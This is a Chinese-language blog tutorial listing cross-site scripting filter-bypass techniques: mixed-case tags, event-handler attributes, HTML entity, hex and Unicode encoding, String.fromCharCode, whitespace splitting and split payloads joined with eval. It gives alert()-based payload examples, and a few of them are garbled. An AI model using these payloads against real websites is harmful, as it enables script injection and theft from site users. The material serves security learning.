xss绕过方法

2023-11-09

xss绕过方法

1.改变大小写

大小写穿插编写

<script>alert(“xss”);</script>

可以转换为:

<ScRipt>ALeRt(XSS);</sCRipT>

2.关闭标签

利用大于号>关闭标签使得xss生效

><script>alert(“Hi”);</script>

3.利用html标签触发事件

很多标签都可以对过滤进行绕过
格式:< 标签 事件 = 执行语句
例如:

<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%">&nbsp;</p>
<input onfocus="alert('1')" autofocus/>
<body onload="alert('xss')"></body>
<iframe src="./alert.html"></iframe>
<img onmouseover=”alert(‘xxs’)”>

参考资料

即使在攻击不需要任何标签属性的情况下,也应该尝试在标签名称之后添加一些多余的内容,因为这会绕过一些简单的过滤器.

4.编码绕过

过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

常见的编码方式有:
HTML实体编码(&#ASCII) 参考资料
十进制、十六进制、八进制编码 编码器
unicode编码 编码器
escape编码 编码器
及下面将要讲到的String.fromCharCode(…)方法,如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

eg1:
将下面语句进行hex编码

<script>alert(“xss”);</script>

上述语句hex编码后:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%E2%80%9C%78%73%73%E2%80%9D%29%3B%3C%2F%73%63%72%69%70%74%3E

eg2:

<img src="javascript&#116&#alert(/xss/);">

eg3:

<script>eval("\61\6c\65......");<script>

5.利用js中的String.fromCharCode绕过magic_quotes_gpc

我理解的magic_quotes_gpc=ON和addslashes()进行函数处理后得到的效果一样,比如就是将’转义成/‘,“转义成/”,开启了magic_quotes_gpc的网站会对我们编写的xss语句进行转义,从而使得语句失效,所以我们可以使用String.fromCharCode()方法避免magic_quotes_gpc对语句的转义。

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

String.fromCharCode()方法
利用此方法编码97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41后就是alert(“xss”)

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41)</script>

6.使用默认SRC属性绕过SRC域名过滤器

此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。

<IMG SRC=# onmouseover=”alert(‘xxs’)”>

此处补充一些事件处理函数:

事件 描述
onclick 在用户使用鼠标左键点击对象时触发
ondblclick 用户双击对象时触发
onmousedown 用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover 用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout 用户将鼠标移出对象边界时触发
onmousemove 用户将鼠标划过对象时触发
onmouseup 用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel 鼠标滚轮按钮旋转时触发
onpaste 用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange 在对象上发生对象属性更改时触发
onkeydown 用户按下键盘按键时触发
onerror 装载文档或图像的过程中发生错误时触发
onload 加载完毕自动触发

7.空格/回车(换行符)/Tab

当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。

例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理。

<img src="java  script:alert(‘xss‘);" width=100>

或者

<img src="javascript:  alert(‘xss‘);" width=100>

8.拆分跨站法

拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站。
例如:

< script>z=‘document.‘

< script>z=+‘write‘("‘

< script>z=z+‘<script‘

< script>eval(z)

另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制

若有任何错误或理解上的偏差欢迎指正

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

xss绕过方法 的相关文章

  • AIX程序打包

    打包 首先需要安装打包工具mkinstallp 在AIX安装光盘中 安装bos adt insttools 安装过程中需要在放入光盘1 安装完成后 可以在 usr sbin 下找到mkinstallp AIX中一个package包含有多个f

随机推荐

  • 终于有人把 Docker 讲清楚了,别再说不会 Docker 了!(摘)

    富 Web 时代 应用变得越来越强大 与此同时也越来越复杂 集群部署 隔离环境 灰度发布以及动态扩容缺一不可 而容器化则成为中间的必要桥梁 本文我们就来探索一下 Docker 的神秘世界 从零到一掌握 Docker 的基本原理与实践操作 别
  • APT攻击是什么?面对APT攻击,我们应该怎么做?

    目录 一 概念 二 APT攻击特征 三 APT攻击技术 3 1 APT攻击方式 3 2 APT攻击诱饵种类 四 APT攻击模式 4 1 第一阶段 扫描探测 4 2 第二阶段 工具投送 4 3 第三阶段 漏洞利用 4 4 第四阶段 木马植入
  • 区块链学习笔记13——ETH以太坊概述

    区块链学习笔记13 ETH以太坊概述 学习视频 北京大学肖臻老师 区块链技术与应用 笔记参考 北京大学肖臻老师 区块链技术与应用 公开课系列笔记 目录导航页 比特币和以太坊是两种最主要的加密货币 比特币被称为区块链1 0 以太坊被称为区块链
  • 自动驾驶开发入门(三)---浅谈Apollo Cyber RT中的Transport

    Cyber的Transport为上层封装了底层数据传输的细节 上层主要使用Transport Transmitter Receiver三个类 其中Transport是工厂类 负责创建Transmitter Receiver以及Dispatc
  • pyspark作为生产者发送消息(推送数据)到kafka

    pyspark作为生产者发送消息到kafka 网上大部分的案例都是pyspark作为消费者消费kafka的消息 但是作为生产者生产消息发送给kafka的很少 下面把pyspark如何创建数据 或读取数据 作为生产者发送消息给kafka作为案
  • C++字节对齐

    系统让程序中的变量按字节对齐的目的 访问高效 字节是内存空间分配的最小单位 在程序中 我们定义的变量可以放在任何位置 但实际情况是访问特定类型变量的时候在特定的内存地址访问 这就需要各种类型数据按照一定的规则在空间排列 而不是顺序的一个接着
  • 两台文件服务器,负载均衡,用两台云服务器搭建一个负载均衡

    用两台云服务器搭建一个负载均衡 内容精选 换一换 弹性负载均衡 Elastic Load Balance 以下简称ELB 通过将访问流量自动分发到多台弹性云服务器 扩展应用系统对外的服务能力 实现更高水平的应用程序容错性能 用户通过基于浏览
  • 顺序表的C语言实现(静态/动态)

    目录 1 顺序表的定义 2 顺序表的实现 静态分配 3 顺序表的实现 动态分配 1 顺序表的定义 线性表的顺序存储又称顺序表 它是用一组地址连续的存储单元依次存储线性表中的数据元素 使得逻辑上相邻的两个元素在物理位置上也相邻 因此 顺序表的
  • C++基础知识 - 浮点类型

    需要精确计算的数学 工程应用 用整数类型不合适 float类型 单精度浮点类型 用来存储带小数部分的数据 在内存中占用4个字节 表示范围 3 4 1038 3 4 1038 不需记忆 精度 最长7位有效数字 是指7位10进制位 精度只能取值
  • 【Android】常用对话框大全(二)Material Dialog

    前言 上一篇文章中 谈到本系列的文章将讲解Android dialog Material dialog 为何要谈论Material呢 开发过Flutter的开发者也许就会明白 Material Design框架Flutter也在用 而在其官
  • MATLAB---获取图像中的指定像素点的值(RGB图像)

    输入 clear all RGB imread 图片名 格式 r x1 y1 z1 指定像素点的横坐标 c x2 y2 z2 指定像素点的纵坐标 p impixel RGB r c 用impixel 函数来返回RGB图像的横纵坐标对应的像素
  • Java 使用枚举消除if else

    1 功能需求 if else判断时写代码过程中非常常见的 但是有些相对比较固定格式的if else判断却是我们可以尽可能避免的 其中 枚举的作用在我们消除if else代码快的作用非常大 那么 我们该如何实现呢 2 代码实现 定义枚举变量
  • 【54-Sentinel熔断、降级、限流的基本概念-Sentinel实战上手应用-actuator实时监控-Docker安装部署Sentinel教程-熔断降级实战练习-Sentinel自定义资源】

    一 知识回顾 0 三高商城系统的专题专栏都帮你整理好了 请点击这里 1 系统架构演进过程 2 微服务系统架构需求 3 高性能 高并发 高可用的三高商城系统项目介绍 4 Linux云服务器上安装Docker 5 Docker安装部署MySQL
  • Redis复习笔记

    Redis 是一个高性能的key value数据库 支持多种数据类型 String 可以是字符串 整数 浮点数 List 列表 一个链表 链表上的每个节点都包含一个字符串 Set 集合 包含字符串的无序收集器 并且被包含的每个字符串都是独一
  • Sharding-jdbc

    一 概念理解 垂直切分 包含垂直分库和垂直分表 1 1 垂直分库 专库专用 按照业务类型对表分类 1 2 垂直分表 基于数据表的列 字段 为依据切分的 是一种大表拆小表的模式 1 3 垂直切分优点 不同业务的数据进行独立维护 监控 扩展 在
  • 右键里没有新建txt文件选项 win7

    试试这个方法吧 win7的试过 成功 找个文本文档 复制一个 把里面的内容清空 改后缀为reg 点右键 编辑 把下面的内容复制进去 保存 然后双击导入注册表 Windows Registry Editor Version 5 00 HKEY
  • 建设一站式DevOps平台,腾讯云研发效能提升实践

    导语 近年来 研发效能提升越来越受到业界重视 许多厂商都在不断探索研发效能提升之路 从而实现研发效率和质量的持续优化 以应对日趋复杂的产品开发 那么腾讯云的研发效能相关工作是如何开展和落地的呢 今天我们特邀了腾讯云研发效能工作组负责人 腾讯
  • VirtualBox7.0

    文章目录 安装环境 记录目的 VirtualBox7 0安装及配置 VBox增强功能安装及共享文件夹配置 VBox增强功能安装 安装方法 共享文件夹建立 补充资料 更换系统源 anaconda安装 将bin路径加入系统path变量 增加源
  • FinClip 小程序原生页面要获取权限时该使用哪些接口?比uniapp更方便吗?

    概念 在小程序里面有一些权限需要小程序 微信 给予 比如用户手机号 运动步数 摄像头 通讯地址 iOS端 相机权限 二维码扫描接口 scanCode 选择图片接口 chooseImage 拍照 选择视频接口 chooseVideo 录像 C
  • xss绕过方法

    xss绕过方法 1 改变大小写 将大小写穿插编写 可以转换为 2 关闭标签 利用大于号 gt 关闭标签使得xss生效 gt 3 利用html标签触发事件 很多标签都可以对过滤进行绕过 格式 lt 标签 事件 执行语句 例如 p style